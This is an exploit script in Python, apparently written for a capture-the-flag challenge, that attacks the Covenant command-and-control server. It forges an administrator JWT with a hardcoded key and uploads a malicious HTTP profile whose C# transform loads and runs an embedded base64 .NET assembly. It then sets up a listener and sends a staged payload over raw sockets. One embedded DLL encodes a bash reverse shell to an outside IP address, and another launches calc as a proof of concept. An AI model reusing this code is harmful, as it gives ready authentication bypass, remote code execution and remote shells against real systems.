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exploit.py
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import jwt
import time
import requests
from colorama import *
import random
import base64
import time
import sys
import re
from Crypto import Random
from Crypto.Cipher import AES
import os
import hashlib
import json
import socket
import subprocess
def randomhex(size) -> str:
char = "abcdef0123456789"
random_hex = ""
for i in range(0,size*2):
random_hex += random.choice(char)
return random_hex
def random_jti() -> str:
f = lambda x: ''.join(["{}".format(random.randint(0, 9)) for num in range(0, x)])
return f"{f(8)}-{f(4)}-{f(4)}-{f(4)}-{f(6)}"
def crypt_sha256(content):
crypto = hashlib.sha256()
if isinstance(content,str): content = content.encode()
crypto.update(content)
return crypto.digest()
def _pad(s):
return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)
class exploit():
def __init__(self):
self.JwtKey = "%cYA;YK,lxEFw[&P{2HwZ6Axr,{e&3o_}_P%NX+(q&0Ln^#hhft9gTdm'q%1ugAvfq6rC"
self.url = "http://unchasseursachantchasser.chall.malicecyber.com/1d8b4cf854cd42f4868849c4ce329da72c406cc11983b4bf45acdae0805f7a72/" # endpoint où on trouve le covenant
self.ip = "172.20.0.2" # ip de la machine qui hosts le convenant
self.host = "unchasseursachantchasser.chall.malicecyber.com" # hosts sur lequel on se connectera pour envoyer la charge final
self.c2_port = 0 # port sur lequel le client va se connecter
self.ADMIN_NAME = ""
self.ADMIN_ID = ""
self.ADMIN_TOKEN = ""
def _gen_jwt(self,USER,USERID):
EXPIRATION = 1968264576
content = {
"sub": USER,
"jti": random_jti(),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": USERID,
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": [
"User",
"Administrator"
],
"exp": EXPIRATION,
"iss": "Covenant",
"aud": "Covenant"
}
return jwt.encode(content, self.JwtKey, algorithm='HS256').decode('utf-8')
def get_user_list(self) -> dict:
USER = "hackline"
USERID= "df34c0a2fd5b408ab4fe0c1ac98d5677"
token = self._gen_jwt(USER,USERID)
r = requests.get("%s/api/users" % self.url, headers={"Content-Type":"application/json", "Authorization":"Bearer " + token})
for user in r.json():
print("""- %s : %s""" % (user["userName"],user["id"]))
return r.json()
def generate_transform_payload(self):
# POC: execute calc
#dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAOl/y5EAAAAAAAAAAOAAIgALATAAAAgAAAAIAAAAAAAAqiYAAAAgAAAAQAAAAABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAFcmAABPAAAAAEAAADAFAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAABoJQAAVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAsAYAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAADAFAAAAQAAAAAYAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACLJgAAAAAAAEgAAAACAAUAbCAAAPwEAAABAAAAAgAABgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAF4CKAsAAApyAQAAcHIRAABwKAwAAAomKgYqAABCU0pCAQABAAAAAAAMAAAAdjQuMC4zMDMxOQAAAAAFAGwAAACYAQAAI34AAAQCAAD4AQAAI1N0cmluZ3MAAAAA/AMAACwAAAAjVVMAKAQAABAAAAAjR1VJRAAAADgEAADEAAAAI0Jsb2IAAAAAAAAAAgAAAUcVAAAJAAAAAPoBMwAWAAABAAAADQAAAAIAAAACAAAAAQAAAAwAAAAKAAAAAQAAAAIAAAAAAFkBAQAAAAAABgDHAJwBBgAZAZwBBgAhAIkBDwC8AQAABgBMAD8BBgAAAXEBBgCoAHEBBgBlAHEBBgCCAHEBBgDnAHEBBgA1AHEBBgDrAWUBCgDjAYkBAAAAAAEAAAAAAAEAAQABABAANwEKADEAAQABAFAgAAAAAIYYgwEGAAEAaCAAAAAAlgBsASUAAQAAAAEAywEJAIMBAQARAIMBBgAZAIMBCgApAIMBEAAxAIMBEAA5AIMBEABBAIMBEABJAIMBEABRAIMBEABZAIMBEABhAIMBBgBpAPIBFQAuAAsAKwAuABMANAAuABsAUwAuACMAXAAuACsAkgAuADMAnwAuADsArAAuAEMAuQAuAEsAkgAuAFMAkgAEgAAAAQAAAAAAAAAAAAAAAAAKAAAABAACAAIAAAAAAAAAHAASAAAAAAAEAAIAAgAAAAAAAAAcANABAAAAAAAAAAAAPE1vZHVsZT4AUGF5bG9hZABTeXN0ZW0uUnVudGltZQBEZWJ1Z2dhYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlJbmZvcm1hdGlvbmFsVmVyc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4ZWN1dGUAU3lzdGVtLlJ1bnRpbWUuVmVyc2lvbmluZwBQYXlsb2FkLmRsbABTeXN0ZW0ATWFpbgBTeXN0ZW0uUmVmbGVjdGlvbgAuY3RvcgBTeXN0ZW0uRGlhZ25vc3RpY3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBhcmdzAFN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzAE9iamVjdABTdGFydAAAD2MAbQBkAC4AZQB4AGUAABcvAEMAIABjAGEAbABjAC4AZQB4AGUAAAAAAGUJYhnDlrJIoGWECAM5RrwABCABAQgDIAABBSABARERBCABAQ4GAAISNQ4OCLA/X38R1Qo6BQABAR0OCAEACAAAAAAAHgEAAQBUAhZXcmFwTm9uRXhjZXB0aW9uVGhyb3dzAQgBAAIAAAAAADUBABguTkVU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dll = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAEUvcWMAAAAAAAAAAOAAIiALATAAAAgAAAAGAAAAAAAAsicAAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAGAnAABPAAAAAEAAAIgDAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAoJgAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAuAcAAAAgAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAIgDAAAAQAAAAAQAAAAKAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAADgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACUJwAAAAAAAEgAAAACAAUAcCAAALgFAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGYCKA4AAAoAAHIBAABwcgsAAHAoDwAACiYqCgAqAAAAQlNKQgEAAQAAAAAADAAAAHYyLjAuNTA3MjcAAAAABQBsAAAAzAEAACN+AAA4AgAAIAIAACNTdHJpbmdzAAAAAFgEAACIAAAAI1VTAOAEAAAQAAAAI0dVSUQAAADwBAAAyAAAACNCbG9iAAAAAAAAAAIAAAFHFQAACQAAAAD6ATMAFgAAAQAAABAAAAACAAAAAgAAAAEAAAAPAAAADQAAAAEAAAACAAAAAABxAQEAAAAAAAYA5gDWAQYAUwHWAQYAMwCkAQ8A9gEAAAYAWwCMAQYAyQCMAQYAqgCMAQYAOgGMAQYABgGMAQYAHwGMAQYAcgCMAQYARwC3AQYAJQC3AQYAjQCMAQYAEgKAAQoACgKkAQAAAAAIAAAAAAABAAEAAQAQAAEAEQA9AAEAAQBQIAAAAACGGJ4BBgABAGogAAAAAIYAhwEqAAEAAAABAAUCCQCeAQEAEQCeAQYAGQCeAQoAKQCeARAAMQCeARAAOQCeARAAQQCeARAASQCeARAAUQCeARAAWQCeARAAYQCeARUAaQCeARAAcQCeARAAeQCeAQYAgQAZAhoALgALADAALgATADkALgAbAFgALgAjAGEALgArAHEALgAzAHEALgA7AHEALgBDAGEALgBLAHcALgBTAHEALgBbAHEALgBjAI8ALgBrALkABIAAAAEAAAAAAAAAAAAAAAAAEQAAAAIAAAAAAAAAAAAAACEAHAAAAAAAAgAAAAAAAAAAAAAAIQCAAQAAAAAAAABDbGFzczEAPE1vZHVsZT4ARXhhbXBsZURMTABtc2NvcmxpYgBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlDb21wYW55QXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEV4YW1wbGVETEwuZGxsAFN5c3RlbQBNYWluAFN5c3RlbS5SZWZsZWN0aW9uAC5jdG9yAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dpbmdNb2RlcwBhcmdzAFByb2Nlc3MAT2JqZWN0AFN0YXJ0AAAACWIAYQBzAGgAAHstAGMAIAAiAGIAYQBzAGgAIAAtAGMAIAAnAGUAeABlAGMAIABiAGEAcwBoACAALQBpACAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=='
payload = """public static class MessageTransform {
public static string Transform(byte[] bytes) {
try {
string assemblyBase64 = "%s";
var assemblyBytes = System.Convert.FromBase64String(assemblyBase64);
var assembly = System.Reflection.Assembly.Load(assemblyBytes);
foreach (var type in assembly.GetTypes()) {
object instance = System.Activator.CreateInstance(type);
object[] args = new object[] { new string[] { "" } };
try {
type.GetMethod("Main").Invoke(instance, args);
}
catch {}
}
}
catch {}
return System.Convert.ToBase64String(bytes);
}
public static byte[] Invert(string str) {
return System.Convert.FromBase64String(str);
}
}""" % dll
return payload
def read_listener_type(self,name : str) -> str:
response1 = requests.get("%s/api/listeners/types" % self.url, headers={"Content-Type":"application/json", "Authorization":"Bearer " + self.ADMIN_TOKEN})
listners_types = response1.json()
for listener_type in listners_types:
if listener_type['name'].lower() == name.lower():
return listener_type['id']
def upload_profile(self) -> int:
id =random.randint(6000,8000)
name = randomhex(4)
data = {
'httpUrls': [
'/en-us/index.html',
'/en-us/docs.html',
'/en-us/test.html'
],
'httpRequestHeaders': [
{'name': 'User-Agent', 'value': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'},
{'name': 'Cookies', 'value': 'ASPSESSIONID={GUID}; SESSIONID=1552332971750'}
],
'httpResponseHeaders': [
{'name': 'Server', 'value': 'Microsoft-IIS/7.5'}
],
'httpPostRequest': 'i=a19ea23062db990386a3a478cb89d52e&data={DATA}&session=75db-99b1-25fe4e9afbe58696-320bea73',
'httpGetResponse': 'salut: {DATA}',
'httpPostResponse': '{DATA}',
'id': id,
'name': "%s" % name,
'description': 'z3ste',
'type': 'HTTP',
'messageTransform': self.generate_transform_payload()
}
# response = request_api('POST', normalize_uri('api', 'profiles', 'http'), data.to_json)
response2 = requests.post("%s/api/profiles/http" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
if response2.status_code != 201:
print("[!] %sCan't create profile%s" % (Fore.RED,Fore.WHITE))
sys.exit(0)
if response2.json()["description"] == "z3st":
print("[!] %sProfil non créé%s" % (Fore.RED,Fore.WHITE))
sys.exit(0)
print("- Profil créé: id=%i / name=%s" % (response2.json()["id"],response2.json()["name"]))
response1 = requests.get("%s/api/profiles/http" % self.url, headers={"Content-Type":"application/json", "Authorization":"Bearer " + self.ADMIN_TOKEN})
return id
def create_listener(self,id : int) -> None:
c2_port = random.randint(8000,8250)
self.c2_port = c2_port
name = randomhex(4)
data = {
'useSSL': False,
'urls': [
self.url
],
'id': 0,
'name': name,
'bindAddress': self.ip,
'bindPort': c2_port,
'connectAddresses': [
"%s" % self.ip
],
'connectPort': c2_port,
'profileId': id,
'listenerTypeId': self.read_listener_type('HTTP'),
'status': 'Active',
'Description':"Z3st"
}
#response = request_api('POST', normalize_uri('api', 'listeners', 'http'), data.to_json)
response2 = requests.post("%s/api/listeners/http" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
try:
if response2.json()["description"] == "Z3st":
print("- Listener créé: id=%i / name=%s (%s)" % (response2.json()["id"],response2.json()["name"],response2.json()["urls"][0]))
return response2.json()["name"]
else:
print(response2.text)
print("[!] %sListener non créé%s" % (Fore.RED,Fore.WHITE))
sys.exit(0)
except TypeError:
print(response2.text)
print("[!] %sImpossible de creer le listener%s" % (Fore.RED,Fore.WHITE))
sys.exit(0)
def read_grunt_cfg(self,listener_name):
data = {
'id': 0,
'listenerId': self.read_listener_id(listener_name),
'implantTemplateId': 1,
'name': 'Binary',
'description': 'Uses a generated .NET Framework binary to launch a Grunt.',
'type': 'binary',
'dotNetVersion': 'Net35',
'runtimeIdentifier': 'win_x64',
'validateCert': True,
'useCertPinning': True,
'smbPipeName': 'string',
'delay': 0,
'jitterPercent': 0,
'connectAttempts': 0,
'launcherString': 'GruntHTTP.exe',
'outputKind': 'consoleApplication',
'compressStager': False
}
# gerenate grunt payload
response2 = requests.put("%s/api/launchers/binary" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
if response2.text != "":
response2 = requests.post("%s/api/launchers/binary" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN},json=(data))
if response2.text != "":
#print(response2.json())
code = (response2.json()['stagerCode'])
#print(code)
aes_key = re.search(".*byte\[\]\sSetupKeyBytes\s=\sConvert.FromBase64String\(@\"(.*?)\"\);",code).group(1)
guid_prefix = re.search(".*string\saGUID\s=\s@\"(.*?)\";",code).group(1)
print("- AES key: %s" % aes_key)
print("- GUID: %s" % guid_prefix)
return aes_key,guid_prefix
#
def generate_stage0(self,aes_key, guid):
headers = {}
headers['Cookies'] = "ASPSESSIONID=%s; SESSIONID=1552332971750" % guid
headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36'
message = '<RSAKeyValue><Modulus>tqwoOYfwOkdfax+Er6P3leoKE/w5wWYgmb/riTpSSWCA6T2JklWrPtf9z3s/k0wIi5pX3jWeC5RV5Y/E23jQXPfBB9jW95pIqxwhZ1wC2UOVA8eSCvqbTpqmvTuFPat8ek5piS/QQPSZG98vLsfJ2jQT6XywRZ5JgAZjaqmwUk/lhbUedizVAnYnVqcR4fPEJj2ZVPIzerzIFfGWQrSEbfnjp4F8Y6DjNSTburjFgP0YdXQ9S7qCJ983vM11LfyZiGf97/wFIzXf7pl7CsA8nmQP8t46h8b5hCikXl1waEQLEW+tHRIso+7nBv7ciJ5WgizSAYfXfePlw59xp4UMFQ==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>'
#ruby aes.rb --key dazdzadaz --data dzaazdaz
payload = subprocess.check_output(['ruby', 'aes.rb', "--key", aes_key, "--guid", guid])
payload = payload.replace(b'\n',b'')
time.sleep(5)
data = {
'i' :'a19ea23062db990386a3a478cb89d52e',
'data' : payload.decode('utf-8'),
'session' : '75db-99b1-25fe4e9afbe58696-320bea73'
}
print(data)
#response = requests.get(f"http://unchasseursachantchasser.chall.malicecyber.com:{self.c2_port}/en-us/test.html?data=dazdza", headers=headers)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# now connect to the web server on port 80 - the normal http port
s.connect((self.host, self.c2_port))
REQ_TEMPLATE = """GET /en-us/test.html HTTP/1.1\r\nHost:%s\r\nCookie: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n""" % (self.host,headers['Cookies'],headers['User-Agent'])
sent = s.send(REQ_TEMPLATE.encode("utf-8"))
content = s.recv(1024)
if not b"HTTP/1.1 200 OK" in content:
print(content)
print("[!] %sErreur lors de la connection%s" % (Fore.RED,Fore.WHITE))
#sys.exit(0)
s.close()
post_data = "i=%s&data=%s&session=%s" % (data['i'],data['data'],data['session'])
REQ_TEMPLATE = """POST /en-us/test.html HTTP/1.1\r\nHost:%s\r\nCookie: %s\r\nUser-Agent: %s\r\nContent-Length: %i\r\nConnection: close\r\n\r\n%s\r\n\r\n""" % (self.host,headers['Cookies'],headers['User-Agent'],len(post_data),post_data)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((self.host, self.c2_port))
sent = s.send(REQ_TEMPLATE.encode("utf-8"))
print(s.recv(1024))
def read_listener_id(self,name):
listeners = requests.get("%s/api/listeners" % self.url, headers={"Content-Type":"application/json","Authorization":"Bearer " + self.ADMIN_TOKEN})
if listeners.text != "":
listeners = listeners.json()
for listener in listeners:
if listener['name'] == name:
return listener['id']
